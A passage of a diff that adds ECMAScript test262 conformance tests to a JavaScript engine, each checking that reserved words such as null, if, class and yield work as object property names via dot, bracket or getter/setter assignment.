+ var tokenCodes = {};
+ tokenCodes.instanceof = 0;
+ tokenCodes.typeof = 1;
+ tokenCodes.else = 2;
+ var arr = [
+ 'instanceof',
+ 'typeof',
+ 'else'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-4.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-4.js
new file mode 100644
index 000000000..0d43d0373
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-4.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-4.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: new, var, catch
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.new = 0;
+ tokenCodes.var = 1;
+ tokenCodes.catch = 2;
+ var arr = [
+ 'new',
+ 'var',
+ 'catch'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-5.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-5.js
new file mode 100644
index 000000000..542175c02
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-5.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-5.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: finally, return, void
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.finally = 0;
+ tokenCodes.return = 1;
+ tokenCodes.void = 2;
+ var arr = [
+ 'finally',
+ 'return',
+ 'void'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-6.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-6.js
new file mode 100644
index 000000000..20a949a70
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-6.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-6.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: continue, for, switch
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.continue = 0;
+ tokenCodes.for = 1;
+ tokenCodes.switch = 2;
+ var arr = [
+ 'continue',
+ 'for',
+ 'switch'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-7.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-7.js
new file mode 100644
index 000000000..83f526468
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-7.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-7.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: while, debugger, function
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.while = 0;
+ tokenCodes.debugger = 1;
+ tokenCodes.function = 2;
+ var arr = [
+ 'while' ,
+ 'debugger',
+ 'function'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-8.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-8.js
new file mode 100644
index 000000000..62e39d18a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-8.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-8.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: this, with, default
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.this = 0;
+ tokenCodes.with = 1;
+ tokenCodes.default = 2;
+ var arr = [
+ 'this',
+ 'with',
+ 'default'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-9.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-9.js
new file mode 100644
index 000000000..99678952f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-2-9.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-2-9.js
+ * @description Allow reserved words as property names by dot operator assignment, verified with hasOwnProperty: if, throw, delete
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.if = 0;
+ tokenCodes.throw = 1;
+ tokenCodes.delete = 2;
+ var arr = [
+ 'if',
+ 'throw',
+ 'delete'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-1.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-1.js
new file mode 100644
index 000000000..7f890eb5d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-1.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-1.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: null, true, false
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['null'] = 0;
+ tokenCodes['true'] = 1;
+ tokenCodes['false'] = 2;
+ var arr = [
+ 'null',
+ 'true',
+ 'false'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-10.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-10.js
new file mode 100644
index 000000000..83dddc14e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-10.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-10.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: in, try, class
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['in'] = 0;
+ tokenCodes['try'] = 1;
+ tokenCodes['class'] = 2;
+ var arr = [
+ 'in',
+ 'try',
+ 'class'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-11.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-11.js
new file mode 100644
index 000000000..4b1f58b41
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-11.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-11.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: enum, extends, super
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['enum'] = 0;
+ tokenCodes['extends'] = 1;
+ tokenCodes['super'] = 2;
+ var arr = [
+ 'enum',
+ 'extends',
+ 'super'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-12.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-12.js
new file mode 100644
index 000000000..72cc76dbe
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-12.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-12.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: const, export, import
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['const'] = 0;
+ tokenCodes['export'] = 1;
+ tokenCodes['import'] = 2;
+ var arr = [
+ 'const',
+ 'export',
+ 'import'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-13.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-13.js
new file mode 100644
index 000000000..6bd557357
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-13.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-13.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: implements, let, private
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['implements'] = 0;
+ tokenCodes['let'] = 1;
+ tokenCodes['private'] = 2;
+ var arr = [
+ 'implements',
+ 'let',
+ 'private'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-14.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-14.js
new file mode 100644
index 000000000..b70990d6c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-14.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-14.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: public, yield, interface
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['public'] = 0;
+ tokenCodes['yield'] = 1;
+ tokenCodes['interface'] = 2;
+ var arr = [
+ 'public',
+ 'yield',
+ 'interface'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-15.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-15.js
new file mode 100644
index 000000000..f5b7664b8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-15.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-15.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: package, protected, static
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['package'] = 0;
+ tokenCodes['protected'] = 1;
+ tokenCodes['static'] = 2;
+ var arr = [
+ 'package',
+ 'protected',
+ 'static'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-16.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-16.js
new file mode 100644
index 000000000..afd96393c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-16.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-16.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: undefined, NaN, Infinity
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['undefined'] = 0;
+ tokenCodes['NaN'] = 1;
+ tokenCodes['Infinity'] = 2;
+ var arr = [
+ 'undefined',
+ 'NaN',
+ 'Infinity'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-2.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-2.js
new file mode 100644
index 000000000..351e26392
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-2.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-2.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: break, case, do
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['break'] = 0;
+ tokenCodes['case'] = 1;
+ tokenCodes['do'] = 2;
+ var arr = [
+ 'break',
+ 'case',
+ 'do'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-3.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-3.js
new file mode 100644
index 000000000..c756355fe
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-3.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-3.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: instanceof, typeof, else
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['instanceof'] = 0;
+ tokenCodes['typeof'] = 1;
+ tokenCodes['else'] = 2;
+ var arr = [
+ 'instanceof',
+ 'typeof',
+ 'else'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-4.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-4.js
new file mode 100644
index 000000000..15de6619b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-4.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-4.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: new, var, catch
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['new'] = 0;
+ tokenCodes['var'] = 1;
+ tokenCodes['catch'] = 2;
+ var arr = [
+ 'new',
+ 'var',
+ 'catch'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-5.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-5.js
new file mode 100644
index 000000000..cae2bb6e6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-5.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-5.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: finally, return, void
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['finally'] = 0;
+ tokenCodes['return'] = 1;
+ tokenCodes['void'] = 2;
+ var arr = [
+ 'finally',
+ 'return',
+ 'void'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-6.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-6.js
new file mode 100644
index 000000000..452072295
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-6.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-6.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: continue, for, switch
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['continue'] = 0;
+ tokenCodes['for'] = 1;
+ tokenCodes['switch'] = 2;
+ var arr = [
+ 'continue',
+ 'for',
+ 'switch'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-7.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-7.js
new file mode 100644
index 000000000..15092a0cf
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-7.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-7.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: while, debugger, function
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['while'] = 0;
+ tokenCodes['debugger'] = 1;
+ tokenCodes['function'] = 2;
+ var arr = [
+ 'while',
+ 'debugger',
+ 'function'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-8.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-8.js
new file mode 100644
index 000000000..19db5267f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-8.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-8.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: this, with, default
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['this'] = 0;
+ tokenCodes['with'] = 1;
+ tokenCodes['default'] = 2;
+ var arr = [
+ 'this',
+ 'with',
+ 'default'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-9.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-9.js
new file mode 100644
index 000000000..856cdb104
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-3-9.js
@@ -0,0 +1,33 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-3-9.js
+ * @description Allow reserved words as property names by index assignment,verified with hasOwnProperty: if, throw, delete
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['if'] = 0;
+ tokenCodes['throw'] = 1;
+ tokenCodes['delete'] = 2;
+ var arr = [
+ 'if',
+ 'throw',
+ 'delete'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-1.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-1.js
new file mode 100644
index 000000000..8f81d173c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-1.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-1.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: null, true, false
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set null(value) {
+ test0 = value;
+ },
+ get null() {
+ return test0;
+ },
+ set true(value) {
+ test1 = value;
+ },
+ get true() {
+ return test1;
+ },
+ set false(value) {
+ test2 = value;
+ },
+ get false(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'null',
+ 'true',
+ 'false'
+ ];
+ for(var p in tokenCodes) {
+ for(var p1 in arr) {
+ if(arr[p1] === p) {
+ if(!tokenCodes.hasOwnProperty(arr[p1])) {
+ return false;
+ };
+ }
+ }
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-10.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-10.js
new file mode 100644
index 000000000..ae2445a25
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-4-10.js
@@ -0,0 +1,50 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-4-10.js
+ * @description Allow reserved words as property names by set function within an object, verified with hasOwnProperty: in, try, class
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
